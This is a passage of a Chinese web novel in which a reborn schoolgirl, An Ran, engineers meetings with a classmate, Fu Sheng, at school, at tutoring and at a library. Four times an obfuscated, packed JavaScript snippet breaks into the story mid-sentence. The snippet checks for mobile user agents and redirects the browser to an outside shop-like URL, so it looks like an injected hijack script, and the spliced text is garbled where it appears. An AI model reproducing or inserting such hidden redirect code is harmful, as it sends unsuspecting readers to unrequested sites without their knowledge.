傅笙仰头喝完半瓶水,语气冷淡:“她不可能。” 体委想了下,认同地点头:“也是,安苒一看就是那种只关心学习的乖乖女,肯定不会做这种事。” 傅笙拧紧瓶盖,他只是觉得在学校,安苒有时候会故意避开他。 另一边,安苒没听见两人的话。 她绕过看台,脸上害羞的表情就消失了。 她上辈子不太能理解大庭广众之下送水这样的举动,这辈子依然不太能理解,明知道会被拒绝为什么还要去做呢,为什么要去赌那一点微末的可能。 既然要做,那就事先确保万无一失。 又或者,让对方把水送过来。 * 相比跑步项目的热闹,铅球这儿实在称得上冷淡。 沙地旁围着的除了计分的老师,就是参赛选手,而且选手里十个有八个是和安苒一样来充数的。 安苒几下抛完,很快就回看台来了。 卢佳慧道:“我特意给你写了稿子,还没来得及送过去呢,也太快了!” 安苒:“脱手了。” 等她坐下,后排的女生围上来道歉:“安苒,之前的事不好意思,我们不是故意的,对不起。” 安苒轻眨了下眼,摆手道:“没关系,我知道你们是开玩笑的。” 离她最近的女生认真点了点头:“嗯,傅笙也没误会。” 安苒疑惑:“你们去解释了?” “没有。”对方摇头:“但看表情就能看出来啊。” 女生道:“傅笙连眉头都没皱一下,肯定没当回事,也没放心上。放心吧,别人说不好,但傅笙一定不会误会的。” 安苒笑着嗯了声。 她转过身时想,傅笙不会误会,是因为不在意,所以是真是假都一样。 安苒没在这件事上多想,她算着校运会什么时候能结束。 今天是周六,原本这个时候她应该在上补习班,孙老师知道他们要举行校运会,就把补课时间挪到了晚上,如果结束的早,她还能先回家洗个澡。 不过,铅球本来也是最后几个项目。 安苒现在已经看到有人开溜了。 她犹豫不过两秒,拉上卢佳慧也提前走了,不然等会儿肯定要挤来挤去。 等她到家,才刚过五点,洗澡的话正好来得及。 安苒收拾完换了套衣服,去补习班时外面的天色还亮着。 不过,等到补完课,从孙老师家出来时,四周已经完全暗下来了,白天的热气一下子降了下来,显得有几分清冷。 安苒朝前快走了两步,叫住傅笙。 等前面的人转过身,安苒道:“傅笙,我有点怕。” 她拢了下外套,小心翼翼地问道:“你能不能陪我走一段路,只要走到前面的路口就行。” 晚上的风有点大,吹得安苒颊边的碎发乱飞。 傅笙很快地点了下头,推着车往前走。 安苒几步跟了上来。 两人一时无话,谁都没开口,气氛有点奇怪,安苒想了想道:“恭喜你八百米跑了第一。” 傅笙嗯了一声,问她:“你的铅球第几?” 安苒有点意外傅笙竟然知道她报了铅球,大概是送水那个玩笑时记住的,她慢悠悠叹了口气:“为什么要恩将仇报,揭我的短呢?” 傅笙愣了下,他只是礼尚往来地问一句。 “对不起。” 安苒绷不住笑了:“真的道歉啊?” 她道:“我刚才是在开玩笑,不过确实没拿到名次,扔到第二轮就被淘汰了。” 傅笙:“比王鹏厉害。” 安苒猛地扭头看了眼傅笙的表情,想确认对方不是在开玩笑,而是真的在安慰她。 等确认完,她忍不住抿了抿嘴,梨涡若隐若现:“王鹏听到会伤心的。” 傅笙认真道:“他现在不在。” 11. 第 11 章 校运会在之后,紧跟着又是合唱比赛。 但比起学生对校运会的热情,合唱比赛完全无人在意。 课间闲聊的时候,安苒还听了一嘴前桌两个人的吐槽:“学校又在搞什么乱七八糟的东西?高二高三怎么不用参加,单单折腾我们高一的。” “说不定教育局安排的什么丰富学生课余活动的任务,总要挑一个年级来落实嘛。” “那为什么只挑高一的?高二学习任务也没那么紧张吧。” “肯定能少一个是一个啊。” 安苒对上辈子的合唱比赛完全没有印象,大概和前桌两人吐槽的一样,合唱比赛确实只是走个过场,应付一下就结束了。 但虽然是应付,还是要装一装样子的。 除了音乐课,中午的时间也被腾出来练习了。 安苒不是很高兴,因为午休时间没有了,她如果不小睡一会儿的话,下午很容易打瞌睡,不过好在也就一周左右。 周三的音乐课在下午第一节,在去音乐教室前还能稍微睡一会儿。 教室里格外安静,四周窗户开着,暖风慢慢送进来又飘走。 安苒趴在桌上,睡得十分安稳,可惜时间太短,才刚刚睡到深处就被叫起来了。 她跟着卢佳慧身后往外走,脸上带着两道被衣服压出来的印子,眼睛只睁开了一半,还有一半实在抬不起来,以至于下台阶时,毫不意外踩了个空。 她猛地趔趄了下,下一刻胳膊被人用力提起,拽了回来。 安苒惊魂未定地站好,就要回头道谢,后面的人已经走到她旁边了。 傅笙侧头看了她一眼:“没带糖吗?” 安苒愣了一下才反应过来,对方以为她低血糖犯了,小声反驳了一句:“才刚吃完午饭。” 她抿了下唇解释道:“我只是没睡醒,有点头晕。” 傅笙嗯了声,收回视线。 音乐课上,全班一起练了几遍后,音乐老师开始安排合唱的站位。 最先要定的事领唱的人选,一男一女,他们班但凡外形好的,都被音乐老师叫起来清唱了几句。 安苒也被叫起来了一回,不过她嗓音一般,只做到不走调。 轮到男生的时候,安苒特意关注了傅笙,对方上一世应该也被叫起来过,但是她完全没印象了。 等傅笙唱完,安苒不由笑了下,原来天才也有不擅长的科目。 音乐老师很快安排好站位,傅笙站在她后面,只要稍稍一回头就能看到对方。 安苒忍不住想,她要是忽然往后倒,会不会吓到傅笙,直接把对方一起拉着栽下去?不过这个念头一闪而过,只是想想。 下周一的二节课下,众人在大礼堂集合。 到后台的时候,前一个班的曲目已经快唱完了,下一个就是他们班。 旁边的人在叽叽喳喳的小声讲话,安苒和傅笙离得很紧,她垂头捏了捏自己的手指,小声道:“我有点紧张,待会儿不小心唱错了怎么办?” 傅笙:“只要张嘴就行,可以不发声。” 安苒:“真的吗?” 傅笙:“嗯。” 站在傅笙前面的男生忍不住回头看了他们一眼,像是头一次发现他们居然能说得上话。 音乐老师在喊:“快,七班的同学准备上场!女生先上!” 队伍立时动了起来,那个男生趁机飞快问了句:“傅笙,你和安苒很熟吗?” 安苒没听到傅笙的回答,她已经从幕布后走出去了。 * 学校活动办了不少,考试也没落下。 安苒的成绩依旧十分稳定,和秤砣一样,始终牢牢占据在18名的位置。 “安苒你也太厉害了!”卢佳慧佩服不已,不过还是有点担心:“万一哪次没算好,落后了几名怎么办?其实每次都可以进步一点的。” 安苒正在收拾卷子,闻言嗯了一声。 其实高一还没有分尖子班和普通班,除了前几名,后面名次的分数挨得并不紧,所以还是比较容易控制的,而且徐梅对她的成绩大概习惯了,骂人时长逐渐缩短,也算意外之喜。 她笑了下道:“那下次我考得好一点。” 卢佳慧高兴起来:“这才对!” 下午第一节是班主任的语文课,班主任上来没急着讲课,先说了高二文理分科的事。 毕竟再有一个多月,高一下学期就结束了,提前说能让学生有个准备,不过实验的学生早在上高中前就知道高二要文理分科了,现在主要是为了和家长确定下来。 卢佳慧小声问道:“安苒,你选文科还是理科?” 安苒:“理科。” 卢佳慧刚想说安苒文科成绩比理科好,转念一想安苒的数学是故意考差的,于是立刻点头表示赞成:“我应该也选理科,到时候咱们还能在一个班。” 安苒道:“说不定可以。” 她上辈子是直接去了尖子班,并没有卢佳慧分在一起,不过重生回来,她高一整个学年的综合成绩肯定够不上尖子班了。 不管学生怎么选,文理分科最终还是需要家长签字的。 今天她妈要值班,所以安苒直接去了厂里。 跟门房的老伯打了个招呼后,安苒直接往里走,她虽然没怎么来过,但仗着模样乖巧,根本没被盘查就成功进来了。 徐梅上班的地方在厂里的二楼,大办公室的门一般是不关的。 安苒还没走到门口,就听见了里面的说话声,几个阿姨正在讨论各家孩子的成绩。 她听见办公室里响起了一道熟悉的声音:“昨天成绩出来了,我家傅笙又是全校第一,徐梅,你家安苒呢?” “听说马上就要文理分科了,我家傅笙文理都擅长,不过他自己更喜欢理科,你家安苒是不是只能选文科啊?” 安苒顿了下,停下了脚步没再往前走,一直等傅笙的妈妈炫耀完,办公室里换了下一个话题,才走了进去。 徐梅的脸色很差,安苒觉得要不是顾着面子,她妈大概会当场给她一个耳光。 “文理科好好选,尤其是偏科的人。”周倩凑过来看了眼她手上的表格,提议道:“安苒,阿姨记得你数学成绩不太好,还是选文科更有优势。” 安苒:“谢谢阿姨。” 徐梅冷冷打断:“选理科。” 安苒清楚地看到她妈脸色又冷了点,大概她现在在她妈眼里属于故意丢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526305|203520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸。 于是安苒摇了下头:“周阿姨,我还是更喜欢理科一点。” 周倩看了她一眼,笑道:“那有不会的问题就来问我家傅笙,阿姨让傅笙教你,你跟他一个班,肯定知道他数学每次都是满分。” 安苒嗯了一声,拿着文理科的表格走了。 等出了厂子,她脸上的表情就消失了。 安苒知道她妈和傅笙妈妈关系不好,也知道周阿姨刚才那些话是故意的,要不是她妈今天值班不回去,她今晚会很不好过。 安苒面无表情地往家走,五月底的热意并不能温暖人。 第二天,表格交上去。 课下,安苒被叫去了办公室。 班主任认真和她聊了下分科的事:“除了数学,你其他几门成绩都很好,为什么不选文科呢?选理科的话,上高二后可能会更吃力。” 安苒安静听着,并没有反驳老师的话。 班主任劝完后道:“再好好和家里商量一下,不急,还有一周时间慢慢想。” 安苒乖巧地点了下头,答应班主任会认真考虑的。 班主任心怀甚慰:“回去上课吧。” 安苒并不打算回去和徐梅说,因为她知道她妈是不会同意她选文科的,哪怕她数学再差,她妈也会强制她选理科,理由十分肤浅又好笑,因为傅笙选了理科,而她不能比傅笙差。 如果她的数学成绩不是装的,而是真的只能考那么多,那她会和班主任说的一样,学习愈发很吃力。 安苒死死拧着眉,脸色难看异常。 直到回了教室,才恢复过来。 周六补习班,安苒沉默地写了一套满是错误答案的卷子。 等到孙老师讲完,她的一张卷子被红笔改过后,已经面目全非了。 安苒叹了口气,小声嘟囔道:“数学好难。” 傅笙朝她看了一眼,视线落在通红的卷子上,不由沉默了两秒,然后才问:“哪里不会?” 安苒指了指:“这道题,还有这一道最后一小问。” 傅笙没说什么,抽了支笔,摊开卷子给她讲题,语速不快。 补习班已经结束了,只剩他们俩。 孙老师收拾了下家里,捧着茶杯过来,看到安苒的试卷后‘嚯’了一声:“错这么多?” 他平时觉得这小丫头挺有灵气的,瞧着也聪明,怎么脑子有点笨呢。 安苒羞愧地低下了头。 孙老师随口问道:“高二要选文科了吧?” 安苒:“选了理科。” 孙老师有点惊讶,但没多说,他不是安苒的班主任,甚至也不是实验的老师,所以只点了点头:“那得好好努力了。” 安苒乖乖答应了。 两道题讲完,从孙老师家出来,傅笙说道:“你可以选文科的。” 安苒看他:“那你选了什么?” “理科。” 安苒笑了下,从最后一个台阶上跳下来:“我喜欢理科,只是数学有点难,我不太擅长,不过多花点时间和功夫,总能学好的。” 她站在楼梯下,仰头问傅笙:“以后我有不会的题,都可以问你吗?” 片刻后,傅笙点了下头。 12. 第 12 章 安苒没在学校问,问题都留到补习班了。 她和傅笙倒没有拖着不走,一般都是提前一刻钟到,等讲完题正好做卷子。 六月底的安城已经很热了,补习班里的人实在太多,两台电风扇转着,空气里还是浮动着一层焦躁难耐的热意。 安苒不算怕热的,但补习课结束的时候,她额角的发丝里也生出了一点细汗。 她转头去看傅笙,对方像是没有汗腺,从头到脚每一寸都透着清爽的气息,安苒小小地嫉妒了一下,想到一个词——美人无汗。 傅笙察觉到她的视线,手上的动作停了下来:“还有不会的题目?” 安苒摇头,她看着傅笙收拾好东西,和对方一起走出去时问道:“你高二还来吗?” 上学期结束的时候,她也是这么问的,好像时间倒流一样,同样的事情又重复了一遍,只不过他们的关系比起半年前要更近一些。 刚才卷子讲完,有人问下半年高二的课程还教不教,孙老师说教,到时候会分成两个班。 安苒转头看了眼摆满桌子客厅:“开学的话,孙老师应该会换一个大点的地方。” 傅笙先嗯了一声,然后道:“不知道。” 安苒很容易就读懂了他的意思。 她觉得傅笙大概率是不会再来了,补习班的名声已经打出去了,孙老师也没那么缺学生,下半年来上课的人只多不少。 安苒道:“你要是不来的话,那今天就是我们最后一次上补习班了。” 说完,她颇为惆怅地叹了口气:“算起来,我们都同班四年了,不过高二分班后就不可能再在同一个班了。” 虽然期末考试还没有开始,但傅笙一定会去尖子班,全校第一如果去不了也太说不过去了。 安苒忍不住又叹了口气:“这么一说,我们以后应该就很难碰见了吧,好可惜。” 学校太大,不是一个班确实很难见面。 安苒没刻意夸大这种可能性,只不过语气听起来十分不舍,认真听的话,其中还夹杂着一点难过和委屈。 傅笙转头看她,语气认真:“尖子班半学期就会重新排一次名,你可以考上来。” 安苒像是听到了什么意外之言,愣了愣:“我吗?” “安苒,你不笨。” 他给安苒讲题,不用第二遍,她就能听懂。 他虽然不知道安苒第一遍写的时候为什么会错,或许是粗心,或许差一点解题思路,但努力一下的话,考进全校前一百名没什么问题。 傅笙道:“只要考进前一百,就还会被分到同一个班。” 安苒眨了下眼:“尖子班也有两个呢。” 傅笙:“可能性很大。” 安苒笑了起来,放在上辈子,傅笙绝不会对她说这样的话,这是不是意味对方也会舍不得? 她握了握拳,小脸绷紧,严肃道:“那我努努力!” * 一周后,期末考试如约而至。 安苒考了三天,最后一门考完后,她长长地舒了口气,算分真的比上课还要累。 等她回教室,第一时间被卢佳慧逮到:“这次有考好吗?” 安苒点头。 卢佳慧比她还要高兴,当即‘耶’了一声,一叠声地追问:“大概能考多少名?” 安苒想了想:“前十五吧。” 卢佳慧‘啊’了声,肩膀塌了下来,表情肉眼可见地失望:“怎么就提高一点点啊,我还想看你一鸣惊人呢!” 安苒逗她:“你也可以好好学,然后一鸣惊人嘛。” “那还是算了,我做不到。” 卢佳慧飞快摇了摇头,又看了下周围,确保没人在听她们说话后,贴了过来,用气音道:“安苒,我们高二还在一个班怎么样?我昨天求了求我爸,让他找校领导把我们分在一起,到时候我们还能做同桌。” 安苒:“真的吗?” 卢佳慧:“当然是真的。” 她小声道:“我本来想如果你进尖子班的话,我就不跟去了,和一群学霸一起上课肯定很累,但是你在普通班,我们肯定还要在一起的。” 她说完,小心看了安苒一眼,问道:“你会不会不高兴?” 高中生的友情,热烈又忐忑。 安苒摇头:“当然不会,等高二我们还坐一起。” “嗯!” 学期结束,安苒她爸安建军从船上回家。 八个月没见,父女像是陌生人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526306|203520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,安建军对她没表现出半分热络和想念。 安苒想,自己大概是没什么亲情缘分,不然为什么连世上最亲近的两人对自己都不好,她上辈子偶尔会纠结这个问题,不过重生之后就已经不在意了。 安建军回来也是有好处的,起码徐梅不会只盯着她。 所以期末成绩出来后,她少挨了两顿骂。 徐梅在放假前给她安排好了暑假的补课计划,时间排得满满当当,几乎和上学没什么区别。 安苒没有反驳的余地,她看了眼写在纸上的地址:“老师家有点远,让爸爸送我吧。” 安建军掏钱:“自己坐公交。” 安苒道:“第一次还要交补习费,等下回我就自己坐公交。” 安建军没再说话。 放假第一天,安苒收拾书包出门。 安建军把她送到补习班楼下后,就直接把补习费给了她,完全没有要上楼和老师打声招呼的意思。 安苒叫住人,问道:“中午十一点来接我,下午还要去另一个补习班。” 安建军脸上露出不耐烦的表情,他掏了下口袋,连带着下午的补习费一起给了安苒,又顺手多给了不少,道:“中午在外面吃吧,别告诉你妈。” 安苒接过钱,点了下头。 她往楼道里走了两步,等到安建军离开,也跟着走了出来。 这会儿补课,都是打听好了把孩子直接送去老师家就行,基本不会提前约好。 她一开始就决定好了不会上补习班,所以才让安建军送她,因为她爸并不关心她的学习,更不会为了她和老师寒暄招呼。 安苒神色平静,毫不意外。 她又不是真的需要补课,上补习班等于浪费时间,如果不是为了傅笙,她连孙老师家也不会去,可惜,孙老师暑假只教准高一的新生。 但一整个暑假不见的话,太久了。 安苒站在公交车牌下想了想,然后上了去往图书馆的那班。 她之前在傅笙书包里看到过贴着图书馆标签的书,但不知道那本书是不是对方自己去借的,也不清楚傅笙暑假会不会去。 不过无妨,试一试好了。 她也正好要找个合适的地方写暑假作业。 13. 第 13 章 早上的图书馆,过于安静。 除了两个管理员外,安苒没有看到第三个人。 她先给自己办了张借书卡,然后拎着书包在二楼的借阅室找了个干净的位置坐下,开始写暑假作业。 一整个上午都没再有外人进来,期间管理员阿姨上来了一趟,见她在写作业就又悄悄下去了。 中午的时候,安苒在附近找了家小饭馆吃了碗馄饨面,吃完就又回图书馆去了。 外面太热,她在的那个借阅室背阴且还有个吊扇。 耗完一整天,安苒一共做了四张卷子,临走前特意借了本书,等她坐公交到家,正好对上补习班结束的时间,徐梅和安建军丝毫没发现她在明修栈道暗渡陈仓。 晚上,洗完澡,安苒窝在房间的藤椅上看书。 她手指在书脊的中间部分揉了揉,上面凸起的一块贴着图书馆的标签,和她在傅笙书包里看到的那本一样。 安苒有一搭没一搭地想傅笙会不会去图书馆,暑假那么长,一本书看完了总要再借的吧。 她猜傅笙会去,只是不能确定是哪一天,所以在遇上前,她得一直守株待兔。 一连七天,安苒每天都按时去图书馆报道。 她给自己列了个计划,每天写完计划表里的作业,就去找书架上找书,什么书都看,古今中外,严肃的,地摊的,挑到哪本看哪本,不好看就放回去继续挑。 图书馆里十分静谧,这一周进来的人统共加在一起两只手也够数了。 安苒这七天过得格外平静,甚至觉得傅笙不来也没关系。 她垂着头慢慢写卷子,四周只有吊扇扇叶转动的声音。 午后的日光透过窗户照进来,斜斜的打在地上,安苒认真做完一道题,正继续往下写时,借阅室外响起了上楼的脚步声。 她笔尖顿了下,脚步声落在耳朵里带着几分熟悉。 安苒没有立刻抬头往后看,她在心里默念着数字,直到对方踩上最后一个台阶后,又过了十二秒,才蓦然转身回望。 她提前试过,十二秒对一个少年人走路的频率来说,刚好够走到借阅室的门口。 安苒迎着夏日午后的阳光,对从外走进来的少年露出了抹清晰明亮的笑。 像是魔法书里,盛开在静谧之地的绮花。 许多年后,傅笙仍记得这个瞬间,只存在记忆里的画面永不退色,热烈鲜活。 那一瞬间,安苒眼中的惊讶与喜色,皆是她精心刻意的安排,她在空无一人的借阅室里演练过许多遍,知道什么角度才能做到最完美,就连唇角上扬的弧度都停在一个恰到好处的位置。 傅笙脚步顿了一瞬,四目相对,他破天荒地停留了许久。 最后,还是安苒先移开了视线。 傅笙拿着借书证,把已经看完的书放回书架上,接着拿了旁边的第二册。 从书架那头转过来时,傅笙下意识朝安苒坐的地方看了眼,刚才还在的人这会儿已经不见了,只是东西还在桌上放着。 傅笙拿上书出去,在借阅室外的走廊边看见了人。 安苒看了眼他手里的书,问道:“你是过来还书的吗?” 傅笙点头,准备下去。 安苒犹豫了下,喊了声:“傅笙。” 她脸色有点纠结,踌躇了一会儿才道:“你今天在图书馆看到我的事能不能帮我保密,谁都不要说?连周阿姨也不要说。” 她对上傅笙略显冷淡的眼神,垂下头踢了踢自己的脚尖,解释道:“其实这个时候我应该在上补习班,不应该在图书馆,如果周阿姨知道,说不定会告诉我妈妈。” 她说完,抬起头小声问道:“你能不说吗?” 傅笙看了她一眼:“为什么不去?” 安苒被看得有点心虚,眼神轻轻闪了下:“我不想补课,除了数学以外其他学科我都可以自学,数学的话,多做几套卷子就行了,我不想在补习班和其他人挤在一起,又黏又热。” 她声音又低了一点,语气带着些许着急:“我没有去玩,只是在图书馆写作业。” 傅笙没说话。 安苒用力抿了下唇,快要哭了:“你要是说的话,我会挨打的。” “不会说。” 安苒倏然抬头:“什、什么?” 傅笙又重复了一遍:“我不会说。” 安苒一下子高兴起来,刚才那点焦灼和担心瞬间消失的无影无踪,她道:“那你等我一下,我去收拾书包,待会儿请你吃冰棍。” 傅笙拧着眉拒绝:“不用。” 安苒坚持道:“一定要请,吃人嘴短,不请客我不放心。” 傅笙拉住她,问道:“你什么时候回去?” 安苒想了想:“四点半吧。” “那迟一点再去,现在太晒了。”傅笙说完,先她一步往借阅室里走。 安苒迟了半拍追上去:“你待会儿没事吗?” “没事。” “那干嘛顶着大太阳来还书?” “看完了。” 这句话没头没尾,但安苒居然听懂了,因为中午看完了上册,所以就来借下册了,和什么时候有没有太阳都没关系。 她悄悄撇了下嘴,跟在傅笙后面回去了借阅室。 图书馆的桌子十分宽大,安苒原本的书摆在正中间的位置,傅笙看了下,没再去占第二张桌子,在她斜对面的坐了下来。 安苒这个时候才注意到傅笙今天穿了件黑色的短袖,在夏天穿深色的衣服,不管穿的人还是看的人都会生出一点烦躁闷热,可在傅笙身上,依旧干净清爽。 她看了眼收回了视线,接着之前没写完的作业继续往后写。 一张卷子做完, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526307|203520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经是一个小时之后了。 安苒停笔,揉了揉手腕。 这会儿时候尚早,离四点半还有差不多两个小时,如果傅笙没来,她就会去书架上随便找本书打发时间了,但傅笙在,所以她从书包里翻出了一张数学卷子。 临近四点的时候,安苒拿着做完的数学卷子起身,她沿着大桌绕了一圈,走到傅笙跟前,小声问道:“能帮我看看这两道题吗?” 她手指捏住卷子的一角,蜷了起来,有点不好意思。 傅笙看了眼,道:“纸笔。” 安苒赶紧把试卷放下,然后小跑回去将自己的草稿本和笔袋拿了过来,她的笔袋里还放着傅笙给她的那支黑笔,在一众浅色的笔壳中格外明显。 傅笙伸手将它拿了出来,开始给她讲题。 借阅室里除了他们外,没有其他人了,但静谧的房间很难让人去破坏这一份安宁。 傅笙也不例外,他压着声音,比平日略低些的嗓音听起来没那么清冷疏离了,听起来甚至有些温和,给人一种很好接近的错觉。 安苒认真听着,其实早就走神了。 直到傅笙放下笔,有些冷厉的视线盯着她的眼睛,安苒才骤然拉回思绪。 她瞥了眼草稿本上的解题过程,头脑飞快转了起来,几秒后报出了正确答案,然后看向傅笙犹犹豫豫地问道:“对吗?” 对方点头,放过了她。 安苒悄然松了口气,有一只开小差被老班抓到的诡异感。 讲完题,差不多正好四点半。 两个人从图书馆出来,安苒看了下马路对面的文具店,门口就放着一个大冰柜。 她拉傅笙过去,在冰柜挑挑拣拣,最后买了个盒装的雪糕。 她实在想象不出来傅笙吃冰棍的样子,也不想看,会破坏对方在她心里的形象的,但其实盒装雪糕也没好到哪里去,在看到傅笙叼着木勺时,安苒忍不住笑了下。 一旁的视线飞了过来,像是在无声询问她笑什么。 安苒抿了抿嘴,笑道:“我好像没有看过你吃雪糕的样子,跟你平常的样子太不搭。” “我平时什么样子?” “高冷、疏远、不近人情,一班的班花跟你搭了好几次话,说你每次都不记得她。” 傅笙垂眼看她:“不认识的话,为什么要记住?” 安苒想了想,问道:“那我们班的同学,你都记住了吗?” “名字都记得。” “脸呢?” 傅笙皱眉。 安苒了然,在傅笙眼里,不熟悉的人都是模糊的,是一团仅仅有名字的光影,她上辈子在傅笙眼里大概也是这样,仅仅只叫得出名字。 她眨了下眼睛,歪头问道:“你是怎么过来的?” “公交车。” “我也是,我们一起回去吧。” 14. 第 14 章 五天后,安苒第二次在图书馆碰见傅笙。 和上次一样,整个借阅室就只有他们两个人,安苒表情很惊喜,不会没多少意外。 她等傅笙拿到要找的书后,直接将人拉了过来,然后从书包里翻出一沓卷子:“我这几天特意把数学卷子都带上了,想着万一再遇见你的话,就能一次性解决了!” 她声音清脆,带着一股喜气:“我还提前做了数学,你看果然遇见了吧!” 傅笙有一瞬间懵了下,任由安苒把他拉了过去。 等他回过神来,就看见面前已经摆了好几张卷子,他看向安苒,觉得自己不该过来借书。 安苒起先还笑盈盈的,过了会儿才后知后觉地‘啊’了一声,脸上的笑意收了起来,小心翼翼地问道:“你是不是不愿意啊?” 她对上傅笙的视线,犹豫了下,小声说道:“之前在孙老师家的时候你说我可以问的,我以为……” 后面的话没说完,安苒的两颊已经涨红了,她唇瓣动了动,嗫嚅道:“对不起。” 然后飞快低下了头,把桌上的卷子一股脑全部收了回去。 看起来像是要哭了。 傅笙皱了下眉,心里涌出一股不舒服。 他并不是不愿给安苒讲题目,只是突然多出来的事打断了他原本的节奏,让他有一种秩序失控前的不适和慌乱,就像一汪毫无波澜的深潭里突然跃进了一条游鱼,将整个潭水都搅动了起来。 但在他弄清楚自己为什么不舒服前,一只手已经按在了那叠卷子上。 安苒愣愣地抬起头,眼圈有点红,是她硬憋出来的。 傅笙压下心里的那点燥意,拉开凳子坐了下来,偏头看见安苒还站着原处,声音微不可查地放轻了些:“哪里不会?” 安苒恍然回神,连忙在旁边坐下。 等傅笙把所有她圈出来的题讲完后,安苒又轻又快地说了句:“谢谢。” 这句谢谢带着几分客气疏离,似乎他们的关系突然间就回到了上学期刚开学的那段时间,傅笙忍不住多看了安苒两眼,想弄清楚其中的理由。 他明明已经给她讲过题了。 但安苒一直低着头,不肯和他对视。 傅笙扣住了桌面上的纸笔和试卷,说道:“我检查一下其他的题目。” 安苒愣了下,结结巴巴答应下来:“好、好吧。” 五天前的情景重现,不过那会儿他们只是坐在斜对面的位置,中间还隔了好远,现在却是挨着坐在了一起。 安苒一边慢悠悠地做题,一边时不时朝傅笙看上一眼。 被抓包到,她完全没慌,只慢慢眨了下眼睛,问道:“都检查完了吗?我错的多吗?” 傅笙听出她声音下压着的细微忐忑之意,命吧过来安苒刚才时不时看自己一眼,是担心错的太多了。 他薄唇抿了下:“不多,只有两道。” 安苒眼睛一亮,梨涡飞快地在唇角闪露出来,像是格外高兴。 傅笙视线落在她脸上,心底的燥意缓解了几分。 回去前,安苒同样借了本书。 两人往公交车站走时,傅笙突然问道:“既然文理都喜欢,为什么不选文科?” 上一回安苒走之前也借了书,两本他都看过,文学性很高,如果不是感兴趣,是看不下去的,只会觉得枯燥乏味。 安苒:“因为你啊。” 傅笙愣了下。 安苒笑了起来:“我在开玩笑。” 她左右看了眼,朝着马路对面走去,语气很认真:“其实对我来说选文理都一样,反正数学都是必修的学科,而且实验的理科确实比文科更有优势,不是吗?” 他们学校一直都更看重理科,师资力量上也是如此,所以安苒的这个理由毫无瑕疵。 傅笙像是被说服了,没再问下去。 回去的公交上,人不算多。 但前面的位置都被坐满了,中间老弱病残的特殊座位也坐着人,安苒和傅笙走到后面,正好有一排是空着的。 傅笙让了一下,安苒先进去坐在了里面,上回她和傅笙一起回家时,两个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526308|203520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是分开坐的,比起在补习班的时候,她和傅笙现在的距离要更接近。 安苒把书包抱在怀里,看了眼傅笙手里拿着的《忏悔录》,问道:“你什么时候能看完?” 傅笙:“不知道。” 安苒追问了一句:“大约呢,估计要用多久?” 傅笙朝她看了过来:“你也要看?” 安苒飞快地摇了下头,她对外国人的自传没兴趣,也不想和傅笙聊什么读后感。 她垫了垫脚尖,将书包往上抬了下:“我只是想下次遇见你的时候再问点题目,但是一直背着整套数学卷子还有草稿本,很累的。” “所以要是能知道你哪一天来,我再把数学卷子带上就好了。” 安苒的声音软绵绵的,听上去像是在撒娇。 傅笙本来想说,数学卷子一共加起来也没多少,而且可以暂且存放在借阅室里,但对上安苒略显期待的眼神,还是把话咽了回去。 他手里的书有点长,而且不是很快能看完的类型,不过到时候在借阅室也能继续看。 傅笙垂头想了下,道:“三天后。” 安苒微诧,不过被她飞快掩饰了下去。 她弯着眼睛笑了起来,伸手算了算:“那就是18号,你千万别忘了!” 傅笙嗯了声,答应下来。 后半程两人就没再说话了,因为安苒靠着椅背上睡着了。 夏天五点的太阳依旧十分晒人,安苒睡得不是很舒服,靠着车窗的那半边脸颊被热出了一点红晕,日光下,微小的绒毛清晰可见。 傅笙的视线一开始是散的,并没有落在某个点,不知什么时候停在了安苒的脸上。 他之前从来没有认真看过安苒的样子,这似乎是他头一次仔细去看一个人。 他看到安苒纤细微卷的睫毛下隐约有点青色,是没有休息好,还是皮肤太薄以至于血管的颜色透了出来呢? 应该是皮肤太薄了,毕竟对方额角的血管也淡淡可见。 傅笙看了许久,一直到终点站才敛住视线。 15. 第 15 章 三天后,18号上午。 安苒到图书馆的时候,傅笙已经在了。 